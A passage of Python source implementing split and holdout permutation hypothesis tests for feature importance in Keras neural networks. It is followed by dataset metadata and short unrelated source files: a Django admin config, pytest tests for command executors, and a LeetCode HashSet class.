perturb_lst.append(perturb_idx_tmp)
if Err1 < self.alpha:
found = 1
m_opt = m_tmp
n_opt = len(X) - m_opt
perturb_idx_opt = perturb_idx_tmp
break
if found==0:
warnings.warn("No ratio and perturb_level can control the Type 1 error," \
"pls increase the perturb_level and sample size, and inference sample ratio is set as the one minimize the permutation Type 1 Error.")
Err1_lst, ratio_lst = np.array(Err1_lst), np.array(ratio_lst)
m_opt = int(ratio_lst[np.argmin(Err1_lst)] * len(X))
n_opt = len(X) - m_opt
perturb_idx_opt = perturb_lst[np.argmin(Err1_lst)]
return n_opt, m_opt, perturb_idx_opt
def diff_p_value(self, metric_full, metric_mask, perturb_level=0.):
"""
Return p-value for diff btw `metric_full` and `metric_mask` for the one-/two-split test.
Parameters
----------
metric_full: {array-like} of shape (n_samples)
metric for samples based on full model
metric_mask: {array-like} of shape (n_samples)
metric for samples based on mask model
Returns
-------
P_value: array of float [0, 1]
The p_values for target one-/two-split test.
"""
perturb_base = metric_full.std()
diff_tmp = metric_full - metric_mask + perturb_level * perturb_base * np.random.randn(len(metric_full))
Lambda_tmp = np.sqrt(len(diff_tmp)) * ( diff_tmp.std() )**(-1)*( diff_tmp.mean() )
p_value_tmp = norm.cdf(Lambda_tmp)
return p_value_tmp
def testing(self, X, y, fit_params, split_params={}, cat_feats=[], cv_num=5, cp='hommel', inf_ratio=None):
"""
Return p-values for hypothesis testing for inf_feats in class split_test.
Parameters
----------
X: {array-like} of shape (n_samples, dim_features)
Instances matrix/tensor, where n_samples in the number of samples and dim_features is the dimension of the features.
If X is vectorized feature, ``shape`` should be ``(#Samples, dim of feaures)``
If X is image/matrix data, ``shape`` should be ``(#samples, img_rows, img_cols, channel)``, that is, *X must channel_last image data*.
y: {array-like} of shape (n_samples,)
Output vector/matrix relative to X.
cat_feats: list, default = []
The col-index for categorical features; **now it's only work for tabular data**
fit_params: {dict of fitting parameters}
See keras ``fit``: (https://keras.rstudio.com/reference/fit.html), including ``batch_size``, ``epoch``, ``callbacks``, ``validation_split``, ``validation_data``, and so on.
split_params: {dict of splitting parameters}
split: {'one-split', 'two-split'}, default='one-split'
one-split or two-split test statistic.
perturb: float, default=None
Perturb level for the one-split test, if ``perturb = None``, then the perturb level is determined by adaptive tunning.
num_perm: int, default=100
Number of permutation for determine the splitting ratio.
ratio_grid: list of float (0,1), default=[.2, .4, .6, .8]
A list of estimation/inference ratios under searching.
if_reverse: {0,1}, default=0
``if_reverse = 0`` indicates the loop of ``ratio_grid`` starts from smallest one to largest one; ``if_reverse = 1`` indicates the loop of ``ratio_grid`` starts from largest one to smallest one.
perturb_scale: integer, default=5
The scale of perturb, and the perturbation grid is generated based on 2**range(-perturb_scale, perturb_scale)*var(losses by full model)
min_inf: int, default=0
The minimal size for inference sample.
min_est: int, default=0
The minimal size for estimation sample.
ratio_method: {'fuse', 'close'}, default='fuse'
The adaptive splitting method to determine the optimal estimation/inference ratios.
cv_num: int, default=*cv_num*
The number of cross-validation to shuffle the estimation/inference samples in adaptive ratio splitting.
cp: {'gmean', 'min', 'hmean', 'Q1', 'hommel', 'cauchy'}, default = *cp*
A method to combine p-values obtained from cross-validation. see (https://arxiv.org/pdf/1212.4966.pdf) for more detail.
verbose: {0,1}, default=1
if print the results the adaptive tuning procedure.
cv_num: int, default=5
The number of cross-validation to shuffle the estimation/inference samples in testing.
cp: {'gmean', 'min', 'hmean', 'Q1', 'hommel', 'cauchy'}, default ='hommel'
A method to combine p-values obtained from cross-validation.
inf_ratio: float, default=None**
A pre-specific inference sample ratio, if ``est_size=None``, then it is determined by adaptive splitting method ``metric``.
Returns
-------
P_value: array of float [0, 1]
The p_values for target hypothesis testings.
"""
split_params_default = {'split': 'one-split',
'perturb': None,
'num_perm': 100,
'perturb_scale': 5,
'ratio_grid': [.2, .4, .6, .8],
'if_reverse': 0,
'min_inf': 0,
'min_est': 0,
'ratio_method': 'fuse',
'cv_num': cv_num,
'cp': cp,
'verbose': 1}
split_params_default.update(split_params)
split_params = split_params_default
## create checkpoints path
if not os.path.exists(self.cp_path):
os.mkdir(self.cp_path)
## save initial weights
self.save_init()
init_lr_full = deepcopy(self.model.optimizer.lr.numpy())
init_lr_mask = deepcopy(self.model.optimizer.lr.numpy())
P_value = []
for k in range(len(self.inf_feats)):
## initialize the models and learning rates
self.reset_model()
self.model.optimizer.lr.assign(init_lr_full)
self.model_mask.optimizer.lr.assign(init_lr_mask)
## (one-split) determine the splitting ratio for est and inf samples
if split_params['split'] == 'one-split':
if ((inf_ratio == None) or (split_params['perturb'] == None)):
if split_params['ratio_method'] == 'fuse':
n, m, perturb_idx = self.adaRatio(X, y, k, cat_feats=cat_feats,
fit_params=fit_params, split_params=split_params)
perturb_level = 2**perturb_idx
print('%d-th inference; Adaptive data splitting: n: %d; m: %d; perturb: %s'
%(k, n, m, perturb_level))
elif split_params['ratio_method'] == 'log-ratio':
root, info = brentq(size_fun, 3., len(X), args=(len(X), 2000.), full_output=True)
inf_ratio = 1 - root / len(X)
if split_params['perturb'] == None:
split_params['ratio_grid'] = [inf_ratio]
n, m, perturb_idx = self.adaRatio(X, y, k, cat_feats=cat_feats,
fit_params=fit_params, split_params=split_params)
perturb_level = 2**perturb_idx
else:
perturb_idx = split_params['perturb']
perturb_level = 2**perturb_idx
m, n = int(inf_ratio * len(X)), len(X) - int(inf_ratio * len(X))
print('%d-th inference; log ratio data splitting: n: %d; m: %d; perturb: %s'
%(k, n, m, perturb_level))
else:
raise Exception("inf ratio method must be 'fuse' or 'log-ratio' if inf_ratio is not given!")
else:
m, n = int(inf_ratio * len(X)), len(X) - int(inf_ratio * len(X))
perturb_idx = split_params['perturb']
perturb_level = 2**perturb_idx
print('%d-th inference; fix data splitting: n: %d; m: %d' %(k, n, m))
## (two-split) determine the splitting ratio for est and inf samples
elif split_params['split'] == 'two-split':
perturb_level = 0.
if inf_ratio == None:
if split_params['ratio_method'] == 'fuse':
n, m = self.adaRatio(X, y, k, cat_feats=cat_feats,
fit_params=fit_params, split_params=split_params)
print('%d-th inference; Adaptive data splitting: n: %d; m: %d' %(k, n, m))
elif split_params['ratio_method'] == 'log-ratio':
root, info = brentq(size_fun, 3., len(X), args=(len(X), 2000.), full_output=True)
inf_ratio = 1 - root / len(X)
m, n = int(inf_ratio * len(X)/2)*2, len(X) - int(inf_ratio * len(X)/2)*2
print('%d-th inference; log-ratio data splitting: n: %d; m: %d' %(k, n, m))
else:
raise Exception("inf ratio method must be 'fuse' or 'log-ratio' if inf_ratio is not given!")
else:
m, n = int(inf_ratio * len(X)/2)*2, len(X) - int(inf_ratio * len(X)/2)*2
else:
raise Exception("split method must be 'one-split' or 'two-split'!")
## testing
P_value_cv = []
for h in range(cv_num):
X_train, X_test, y_train, y_test = train_test_split(X, y, train_size=n, random_state=h)
if split_params['split'] == 'two-split':
X_inf, X_inf_mask, y_inf, y_inf_mask = train_test_split(X_test, y_test, train_size=.5, random_state=42)
if split_params['split'] == 'one-split':
X_inf, X_inf_mask, y_inf, y_inf_mask = X_test.copy(), X_test.copy(), y_test.copy(), y_test.copy()
self.reset_model()
self.model.optimizer.lr.assign(init_lr_full)
self.model_mask.optimizer.lr.assign(init_lr_mask)
## fit, predict, and inference in full model
history = self.model.fit(X_train, y_train, **fit_params)
pred_y = self.model.predict(X_inf)
metric_full = self.metric(y_inf, pred_y)
# fit, predict, and inference in mask model
Z_train = self.dual_feat(X_train, cat_feats, k)
history_mask = self.model_mask.fit(Z_train, y_train, **fit_params)
Z_inf = self.dual_feat(X_inf_mask, cat_feats, k)
pred_y_mask = self.model_mask.predict(Z_inf)
metric_mask = self.metric(y_inf_mask, pred_y_mask)
## compute p-value
p_value_tmp = self.diff_p_value(metric_full, metric_mask, perturb_level)
print('cv: %d; p_value: %.5f; metric: %.5f(%.5f); metric_mask: %.5f(%.5f)'
%(h, p_value_tmp,
metric_full.mean(), metric_full.std(),
metric_mask.mean(), metric_mask.std()))
P_value_cv.append(p_value_tmp)
self.p_values_comb.append(P_value_cv)
P_value_cv = np.array(P_value_cv)
p_value_mean = comb_p_value(P_value_cv, cp=cp)
print('#'*50)
if p_value_mean < self.alpha:
print('%d-th inf: reject H0 with p_value: %.3f' %(k, p_value_mean))
else:
print('%d-th inf: accept H0 with p_value: %.3f' %(k, p_value_mean))
print('#'*50)
P_value.append(p_value_mean)
# return P_value, fit_err, P_value_cv
self.p_values = P_value
return P_value
def visual(self, X, y, plt_params={'cmap': 'RdBu', 'alpha':0.6}, plt_mask_params={'cmap': 'RdBu', 'alpha':0.6}):
"""
Visualization for the inference results based on one illustrative example
Parameters
----------
X: array-like
demo instances.
y: array-like
demo labels
plt_params: dict
dictory of parameters for the imshow for original image see: (https://matplotlib.org/3.3.3/api/_as_gen/matplotlib.pyplot.imshow.html)
plt_mask_params: dict
dictory of parameters for the imshow for mask see: (https://matplotlib.org/3.3.3/api/_as_gen/matplotlib.pyplot.imshow.html)
"""
if len(X.shape) == 2:
print('sorry, visual function only work for image data.')
else:
num_class = y.shape[1]
demo_ind = np.array([np.where(y[:,k]==1)[0][0] for k in range(num_class)])
X_demo = X[demo_ind]
cols, rows = len(self.inf_feats), num_class
fig = plt.figure(constrained_layout=False)
spec = fig.add_gridspec(ncols=cols, nrows=rows)
for row in range(rows):
for col in range(cols):
X_mask_tmp = np.nan*np.ones(X_demo.shape)
X_mask_tmp = self.mask_cov(X_mask_tmp, k=col)[0]
ax = fig.add_subplot(spec[row, col])
im1 = ax.imshow(X_demo[row], vmin=0, vmax=1, **plt_params)
ax.axis('off')
im2 = ax.imshow(X_mask_tmp, vmin=0, vmax=1, **plt_mask_params)
ax.axis('off')
if row == 0:
ax.set_title('p_values: %.3f' %self.p_values[col])
plt.subplots_adjust(top = 0.95, bottom=0.05, hspace=0.03, wspace=0.03, right=0.95)
plt.show()
class perm_test(object):
"""Class for holdout permutation test (HPT) based on deep neural networks.
Parameters
----------
inf_feats : list-like of shape (num of tests, dim of features)
List of covariates/Features under hypothesis testings, one element corresponding to a hypothesis testing.
model : {keras-defined neural network}
A neural network for original full dataset
alpha: float (0,1), default=0.05
The nominal level of the hypothesis testing
verbose: {0, 1}, default=0
If print the testing results, 1 indicates YES, 0 indicates NO.
eva_metric: {'mse', 'zero-one', 'cross-entropy', or custom metric function}
The evaluation metric, ``'mse'`` is the l2-loss for regression, ``'zero-one'`` is the zero-one loss for classification, ``'cross-entropy'`` is log-loss for classification. It can also be custom metric function as ``eva_metric(y_true, y_pred)``.
Methods
-------
testing
"""
def __init__(self, inf_feats, model, model_perm, alpha=.05, num_folds=5, num_perm=100, verbose=0, eva_metric='mse'):
self.inf_feats = inf_feats
self.model = model
self.model_perm = model_perm
self.alpha = alpha
self.num_perm = num_perm
self.num_folds = num_folds
self.eva_metric = eva_metric
def metric(self, y_true, y_pred):
if self.eva_metric == 'mse':
metric_tmp = ((y_true - y_pred)**2).flatten()
elif self.eva_metric == 'mae':
metric_tmp = abs(y_true - y_pred).flatten()
elif self.eva_metric == 'zero-one':
label_pred = np.argmax(y_pred, 1)
label_true = np.argmax(y_true, 1)
metric_tmp = 1. - 1.*(label_true == label_pred)
elif self.eva_metric == 'cross-entropy':
label_true = np.argmax(y_true, 1)
metric_tmp = np.log(y_pred[range(len(y_pred)),label_true])
else:
metric_tmp = self.eva_metric(y_true, y_pred)
return metric_tmp
def reset_model(self):
if int(tf.__version__[0]) == 2:
# for layer in self.model.layers:
# if isinstance(layer, tf.keras.Model):
# reset_weights(layer)
# continue
# for k, initializer in layer.__dict__.items():
# if "initializer" not in k:
# continue
# # find the corresponding variable
# var = getattr(layer, k.replace("_initializer", ""))
# var.assign(initializer(var.shape, var.dtype))
for layer in self.model.layers:
if isinstance(layer, tf.keras.Model): #if you're using a model as a layer
reset_weights(layer) #apply function recursively
continue
#where are the initializers?
if hasattr(layer, 'cell'):
init_container = layer.cell
else:
init_container = layer
for key, initializer in init_container.__dict__.items():
if "initializer" not in key: #is this item an initializer?
continue #if no, skip it
# find the corresponding variable, like the kernel or the bias
if key == 'recurrent_initializer': #special case check
var = getattr(init_container, 'recurrent_kernel')
else:
var = getattr(init_container, key.replace("_initializer", ""))
if var is None:
continue
else:
var.assign(initializer(var.shape, var.dtype))
if int(tf.__version__[0]) == 1:
session = K.get_session()
for layer in self.model.layers:
if hasattr(layer, 'kernel_initializer'):
layer.kernel.initializer.run(session=session)
if hasattr(layer, 'bias_initializer'):
layer.bias.initializer.run(session=session)
for layer in self.model_perm.layers:
if hasattr(layer, 'kernel_initializer'):
layer.kernel.initializer.run(session=session)
if hasattr(layer, 'bias_initializer'):
layer.bias.initializer.run(session=session)
## can be extent to @abstractmethod
def mask_cov(self, X, k=0):
Z = X.copy()
if type(self.inf_feats[k]) is list:
Z[:,self.inf_feats[k][0][:,None], self.inf_feats[k][1], 0] = 0.
else:
Z[:,self.inf_feats[k]]= 0.
return Z
def perm_cov(self, X, k=0):
Z = X.copy()
if type(self.inf_feats[k]) is list:
Z[:,self.inf_feats[k][0][:,None], self.inf_feats[k][1], 0]= np.random.permutation(Z[:,self.inf_feats[k][0][:,None], self.inf_feats[k][1], 0])
else:
Z[:,self.inf_feats[k]]= np.random.permutation(Z[:,self.inf_feats[k]])
return Z
def noise_cov(self, X, k=0):
Z = X.copy()
Z[:,self.inf_feats[k]] = np.random.randn(len(X), len(self.inf_feats[k]))
return Z
def testing(self, X, y, fit_params={}):
"""
Return p-values for hypothesis testing for inf_feats in class perm_test.
Parameters
----------
X : array-like | shape = (n_samples, dim_features)
Instances matrix/tensor, where n_samples in the number of samples and dim_features is the dimension of the features.
If X is vectorized feature, ``shape`` should be ``(#Samples, dim of feaures)``
If X is image/matrix data, ``shape`` should be ``(#samples, img_rows, img_cols, channel)``, that is, *X must channel_last image data*.
y: {array-like} of shape (n_samples,)
Output vector/matrix relative to X.
fit_params: {dict of fitting parameters}
See keras ``fit``: (https://keras.rstudio.com/reference/fit.html), including ``batch_size``, ``epoch``, ``callbacks``, ``validation_split``, ``validation_data``, and so on.
cv_num: int, default=5
The number of cross-validation to shuffle the estimation/inference samples in testing.
cp: {'gmean', 'min', 'hmean', 'Q1', 'hommel', 'cauchy'}, default ='hommel'
A method to combine p-values obtained from cross-validation.
inf_ratio: float, default=None
A pre-specific inference sample ratio, if ``est_size=None``, then it is determined by adaptive splitting method ``metric``.
Returns
-------
P_value: array of float [0, 1]
The p_values for target hypothesis testings.
"""
P_value = []
for k in range(len(self.inf_feats)):
kfold = KFold(n_splits=self.num_folds, shuffle=True)
self.reset_model()
print('%d-th permutation inference' %k)
## prediction and inference in full model
score_cv = []
for train, test in kfold.split(X, y):
self.reset_model()
history = self.model.fit(X[train], y[train], **fit_params)
pred_y = self.model.predict(X[test])
metric_full = self.metric(y[test], pred_y)
score_cv.append(metric_full.mean())
score = np.mean(score_cv)
# prediction and inference in mask model
score_perm = []
for l in range(self.num_perm):
score_perm_cv = []
Z = self.perm_cov(X, k)
for train_perm, test_perm in kfold.split(Z, y):
self.reset_model()
history_perm = self.model_perm.fit(Z[train_perm], y[train_perm], **fit_params)
pred_y_perm = self.model_perm.predict(Z[test_perm])
metric_perm = self.metric(y[test_perm], pred_y_perm)
score_perm_cv.append(metric_perm.mean())
score_perm.append(np.mean(score_perm_cv))
score_perm = np.array(score_perm)
## compute p-value
print("perf score: %.3f, perf permutation score: %.3f(%.3f)" %(score, score_perm.mean(), score_perm.std()))
p_value_tmp = (np.sum(score_perm <= score) + 1.0) / (self.num_perm + 1)
if p_value_tmp < self.alpha:
print('reject H0 with p_value: %.3f' %p_value_tmp)
else:
print('accept H0 with p_value: %.3f' %p_value_tmp)
P_value.append(p_value_tmp)
return P_value, metric_full.mean()
class Hperm_test(object):
"""Class for holdout permutation test (HPT) based on deep neural networks.
Parameters
----------
inf_feats : list-like of shape (num of tests, dim of features)
List of covariates/Features under hypothesis testings, one element corresponding to a hypothesis testing.
model : {keras-defined neural network}
A neural network for original full dataset
alpha: float (0,1), default=0.05
The nominal level of the hypothesis testing
verbose: {0, 1}, default=0
If print the testing results, 1 indicates YES, 0 indicates NO.
eva_metric: {'mse', 'zero-one', 'cross-entropy', or custom metric function}
The evaluation metric, ``'mse'`` is the l2-loss for regression, ``'zero-one'`` is the zero-one loss for classification, ``'cross-entropy'`` is log-loss for classification. It can also be custom metric function as ``eva_metric(y_true, y_pred)``.
cp_path: {string}, default='./HPT_checkpoints'
The checkpoints path to save the models
Methods
-------
testing
"""
def __init__(self, inf_feats, model, alpha=.05, num_perm=1000, verbose=0, eva_metric='mse', cp_path = './HPT_checkpoints'):
self.inf_feats = inf_feats
self.model = model
self.alpha = alpha
self.num_perm = num_perm
self.eva_metric = eva_metric
self.cp_path = cp_path
def metric(self, y_true, y_pred):
if self.eva_metric == 'mse':
metric_tmp = ((y_true - y_pred)**2).flatten()
elif self.eva_metric == 'mae':
metric_tmp = abs(y_true - y_pred).flatten()
elif self.eva_metric == 'zero-one':
label_pred = np.argmax(y_pred, 1)
label_true = np.argmax(y_true, 1)
metric_tmp = 1. - 1.*(label_true == label_pred)
elif self.eva_metric == 'cross-entropy':
label_true = np.argmax(y_true, 1)
metric_tmp = np.log(y_pred[range(len(y_pred)),label_true])
else:
metric_tmp = self.eva_metric(y_true, y_pred)
return metric_tmp
def save_init(self):
"""
Save the initialization for the network model under class HPT
"""
self.model.save_weights(self.cp_path+'/model_init.h5')
# self.model_mask.save_weights(self.cp_path+'/model_mask_init.h5')
def reset_model(self):
"""
Reset the full and mask network models under class HPT
"""
self.model.load_weights(self.cp_path+'/model_init.h5')
# self.model_mask.load_weights(self.cp_path+'/model_mask_init.h5')
# def reset_model(self):
# if int(tf.__version__[0]) == 2:
# # for layer in self.model.layers:
# # if isinstance(layer, tf.keras.Model):
# # reset_weights(layer)
# # continue
# # for k, initializer in layer.__dict__.items():
# # if "initializer" not in k:
# # continue
# # # find the corresponding variable
# # var = getattr(layer, k.replace("_initializer", ""))
# # var.assign(initializer(var.shape, var.dtype))
#
# for layer in self.model.layers:
# if isinstance(layer, tf.keras.Model): #if you're using a model as a layer
# reset_weights(layer) #apply function recursively
# continue
#
# #where are the initializers?
# if hasattr(layer, 'cell'):
# init_container = layer.cell
# else:
# init_container = layer
#
# for key, initializer in init_container.__dict__.items():
# if "initializer" not in key: #is this item an initializer?
# continue #if no, skip it
#
# # find the corresponding variable, like the kernel or the bias
# if key == 'recurrent_initializer': #special case check
# var = getattr(init_container, 'recurrent_kernel')
# else:
# var = getattr(init_container, key.replace("_initializer", ""))
#
# if var is None:
# continue
# else:
# var.assign(initializer(var.shape, var.dtype))
#
# if int(tf.__version__[0]) == 1:
# session = K.get_session()
# for layer in self.model.layers:
# if hasattr(layer, 'kernel_initializer'):
# layer.kernel.initializer.run(session=session)
# if hasattr(layer, 'bias_initializer'):
# layer.bias.initializer.run(session=session)
# for layer in self.model_perm.layers:
# if hasattr(layer, 'kernel_initializer'):
# layer.kernel.initializer.run(session=session)
# if hasattr(layer, 'bias_initializer'):
# layer.bias.initializer.run(session=session)
## can be extent to @abstractmethod
# def mask_cov(self, X, k=0):
# """
# Return instances with masked k-th hypothesized features.
#
# Parameters
# ----------
# X : array-like
# Target instances.
#
# k : integer, default = 0
# k-th hypothesized features in inf_feats
# """
# Z = X.copy()
# if type(self.inf_feats[k]) is list:
# Z[:,self.inf_feats[k][0][:,None], self.inf_feats[k][1], 0] = 0.
# else:
# Z[:,self.inf_feats[k]]= 0.
# return Z
def perm_cov(self, X, k=0):
"""
Return instances with permuted k-th hypothesized features.
Parameters
----------
X : array-like
Target instances.
k : integer, default = 0
k-th hypothesized features in inf_feats
"""
Z = X.copy()
if type(self.inf_feats[k]) is list:
## for channels_last image data: shape should be (#samples, img_rows, img_cols, channel)
Z[:,self.inf_feats[k][0][:,None], self.inf_feats[k][1], :] = np.random.permutation(Z[:,self.inf_feats[k][0][:,None], self.inf_feats[k][1], :])
else:
Z[:,self.inf_feats[k]]= np.random.permutation(Z[:,self.inf_feats[k]])
return Z
def noise_cov(self, X, k=0):
Z = X.copy()
Z[:,self.inf_feats[k]] = np.random.randn(len(X), len(self.inf_feats[k]))
return Z
def testing(self, X, y, fit_params, cv_num=5, cp='hommel', inf_ratio=.2):
"""
Return p-values for hypothesis testing for inf_feats in class HpermT.
Parameters
----------
X : array-like | shape = (n_samples, dim_features)
Instances matrix/tensor, where n_samples in the number of samples and dim_features is the dimension of the features.
If X is vectorized feature, ``shape`` should be ``(#Samples, dim of feaures)``
If X is image/matrix data, ``shape`` should be ``(#samples, img_rows, img_cols, channel)``, that is, *X must channel_last image data*.
y: {array-like} of shape (n_samples,)
Output vector/matrix relative to X.
fit_params: {dict of fitting parameters}
See keras ``fit``: (https://keras.rstudio.com/reference/fit.html), including ``batch_size``, ``epoch``, ``callbacks``, ``validation_split``, ``validation_data``, and so on.
cv_num: int, default=5
The number of cross-validation to shuffle the estimation/inference samples in testing.
cp: {'gmean', 'min', 'hmean', 'Q1', 'hommel', 'cauchy'}, default ='hommel'
A method to combine p-values obtained from cross-validation.
inf_ratio: float, default=None
A pre-specific inference sample ratio, if ``est_size=None``, then it is determined by adaptive splitting method ``metric``.
Returns
-------
P_value: array of float [0, 1]
The p_values for target hypothesis testings.
"""
## create checkpoints path
if not os.path.exists(self.cp_path):
os.mkdir(self.cp_path)
## save initial weights
self.save_init()
P_value = []
for k in range(len(self.inf_feats)):
self.reset_model()
m, n = int(inf_ratio * len(X)), len(X) - int(inf_ratio * len(X))
P_value_cv = []
score_cv, score_perm_cv = [], []
for h in range(cv_num):
X_train, X_test, y_train, y_test = train_test_split(X, y, train_size=n, random_state=h)
## prediction and inference in full model
self.reset_model()
history = self.model.fit(X_train, y_train, **fit_params)
## save and load model
# path_tmp = self.cp_path+'/model'+'_inf'+str(k)+'_cv'+str(h)+'.h5'
# self.model.save_weights(path_tmp)
# self.model.load_weights(path_tmp)
## prediction for original dataset
pred_y = self.model.predict(X_test)
metric_full = self.metric(y_test, pred_y)
score = metric_full.mean()
score_cv.append(score)
score_perm = []
for l in range(self.num_perm):
Z_test = self.perm_cov(X_test, k)
pred_y_perm = self.model.predict(Z_test)
# pred_y_perm = self.model(Z_tmp, training=False)
metric_perm = self.metric(y_test, pred_y_perm)
score_perm.append(metric_perm.mean())
score_perm_cv.append(score_perm)
score_cv = np.array(score_cv)
score_perm_cv = np.array(score_perm_cv)
cv_ave_score, cv_ave_score_perm = score_cv.mean(), np.mean(score_perm_cv, axis=0)
## compute p-value
print("%d th inf-feats perf score: %.3f, perf permutation score: %.3f(%.3f); num_perm: %d" %(k, cv_ave_score, cv_ave_score_perm.mean(), cv_ave_score_perm.std(), len(cv_ave_score_perm) ))
p_value_tmp = (np.sum(cv_ave_score_perm <= cv_ave_score) + 1.0) / (self.num_perm + 1.0)
if p_value_tmp < self.alpha:
print('reject %d th H0 with p_value: %.3f' %(k, p_value_tmp))
else:
print('accept %d th H0 with p_value: %.3f' %(k, p_value_tmp))
P_value.append(p_value_tmp)
# return P_value
self.p_values = P_value
return P_value
| 43.046863
| 249
| 0.554838
| 7,013
| 54,196
| 4.085983
| 0.071011
| 0.028058
| 0.020939
| 0.018147
| 0.796545
| 0.756936
| 0.72811
| 0.704449
| 0.679288
| 0.654964
| 0
| 0.012086
| 0.332829
| 54,196
| 1,258
| 250
| 43.081081
| 0.780408
| 0.357554
| 0
| 0.538593
| 0
| 0.015437
| 0.079255
| 0.001358
| 0
| 0
| 0
| 0
| 0
| 1
| 0.049743
| false
| 0
| 0.02916
| 0.001715
| 0.118353
| 0.034305
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
| 1
| 1
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
17b47676490f2149ca392d188665a19bb39414e1
| 170
|
py
|
Python
|
{{cookiecutter.repo_name}}/src/{{cookiecutter.django_project_name}}/apps.py
|
ionelmc/cookiecutter-django-docker
|
98a114a6fd0831d4b528bad07976787ac8ca8004
|
[
"Apache-2.0"
] | 1
|
2021-11-13T15:10:04.000Z
|
2021-11-13T15:10:04.000Z
|
{{cookiecutter.repo_name}}/src/{{cookiecutter.django_project_name}}/apps.py
|
ionelmc/cookiecutter-django-docker
|
98a114a6fd0831d4b528bad07976787ac8ca8004
|
[
"Apache-2.0"
] | null | null | null |
{{cookiecutter.repo_name}}/src/{{cookiecutter.django_project_name}}/apps.py
|
ionelmc/cookiecutter-django-docker
|
98a114a6fd0831d4b528bad07976787ac8ca8004
|
[
"Apache-2.0"
] | 1
|
2022-01-06T06:55:11.000Z
|
2022-01-06T06:55:11.000Z
|
from django.contrib.admin.apps import AdminConfig
class CustomAdminConfig(AdminConfig):
default_site = '{{cookiecutter.django_project_name}}.admin.CustomAdminSite'
| 28.333333
| 79
| 0.817647
| 18
| 170
| 7.555556
| 0.833333
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.088235
| 170
| 5
| 80
| 34
| 0.877419
| 0
| 0
| 0
| 0
| 0
| 0.341176
| 0.341176
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.333333
| 0
| 1
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
|
0
| 4
|
17ea96c4fcc556760829a5069c2f5e81a624bc26
| 1,657
|
py
|
Python
|
tests/test_executors.py
|
smartlegionlab/commandpack
|
b151875201ee4cb30d91f57a47c9ef8a2f01a2f7
|
[
"BSD-3-Clause"
] | 1
|
2021-11-17T21:35:41.000Z
|
2021-11-17T21:35:41.000Z
|
tests/test_executors.py
|
smartlegionlab/commandpack
|
b151875201ee4cb30d91f57a47c9ef8a2f01a2f7
|
[
"BSD-3-Clause"
] | null | null | null |
tests/test_executors.py
|
smartlegionlab/commandpack
|
b151875201ee4cb30d91f57a47c9ef8a2f01a2f7
|
[
"BSD-3-Clause"
] | null | null | null |
# -*- coding: utf-8 -*-
# --------------------------------------------------------
# Licensed under the terms of the BSD 3-Clause License
# (see LICENSE for details).
# Copyright © 2018-2021, A.A Suvorov
# All rights reserved.
# -------------------------------------------------------
import os
from commandpack.executors import OsExecutor, SubExecutor, Executor
class TestOsExecutor:
def test_execute(self, os_executor, command_status):
command, status = command_status
assert os_executor.execute(command) == status
def test__call__(self, os_executor, command_status):
command, status = command_status
assert os_executor(command) == status
class TestSubExecutor:
def test_execute(self, sub_executor, command_status):
command, status = command_status
assert sub_executor.execute(command) == status
def test__call__(self, sub_executor, command_status):
command, status = command_status
assert sub_executor(command) == status
class TestExecutor:
def test_execute(self, executor, command_status):
command, status = command_status
assert executor.execute(command) == status
assert executor.os_executor(command) == status
assert executor.sub_executor(command) == status
assert executor.sub_executor.execute(command) == status
def test__get_executor(self, executor, os_executor, sub_executor, os_name):
os.name = os_name
if os.name == 'posix':
assert isinstance(executor._get_executor(), type(os_executor))
else:
assert isinstance(executor._get_executor(), type(sub_executor))
| 35.255319
| 79
| 0.654194
| 184
| 1,657
| 5.652174
| 0.282609
| 0.2875
| 0.192308
| 0.25
| 0.561538
| 0.561538
| 0.486538
| 0.379808
| 0.269231
| 0.269231
| 0
| 0.007513
| 0.196741
| 1,657
| 46
| 80
| 36.021739
| 0.773103
| 0.162945
| 0
| 0.172414
| 0
| 0
| 0.003626
| 0
| 0
| 0
| 0
| 0
| 0.344828
| 1
| 0.206897
| false
| 0
| 0.068966
| 0
| 0.37931
| 0
| 0
| 0
| 0
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
17eed3394d447ad4dfb39e51feba0208270eeaa8
| 153
|
py
|
Python
|
codes_/0705_Design_HashSet.py
|
SaitoTsutomu/leetcode
|
4656d66ab721a5c7bc59890db9a2331c6823b2bf
|
[
"MIT"
] | null | null | null |
codes_/0705_Design_HashSet.py
|
SaitoTsutomu/leetcode
|
4656d66ab721a5c7bc59890db9a2331c6823b2bf
|
[
"MIT"
] | null | null | null |
codes_/0705_Design_HashSet.py
|
SaitoTsutomu/leetcode
|
4656d66ab721a5c7bc59890db9a2331c6823b2bf
|
[
"MIT"
] | null | null | null |
# %% [705. Design HashSet](https://leetcode.com/problems/design-hashset/)
class MyHashSet(set):
remove = set.discard
contains = set.__contains__
| 30.6
| 73
| 0.712418
| 18
| 153
| 5.833333
| 0.722222
| 0.247619
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.022727
| 0.137255
| 153
| 4
| 74
| 38.25
| 0.772727
| 0.464052
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 0
| null | 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
|
0
| 4
|
aa33e3a7bbb06551ba3c984cc7da2a44f747d850
| 23
|
py
|
Python
|
arrow/__init__.py
|
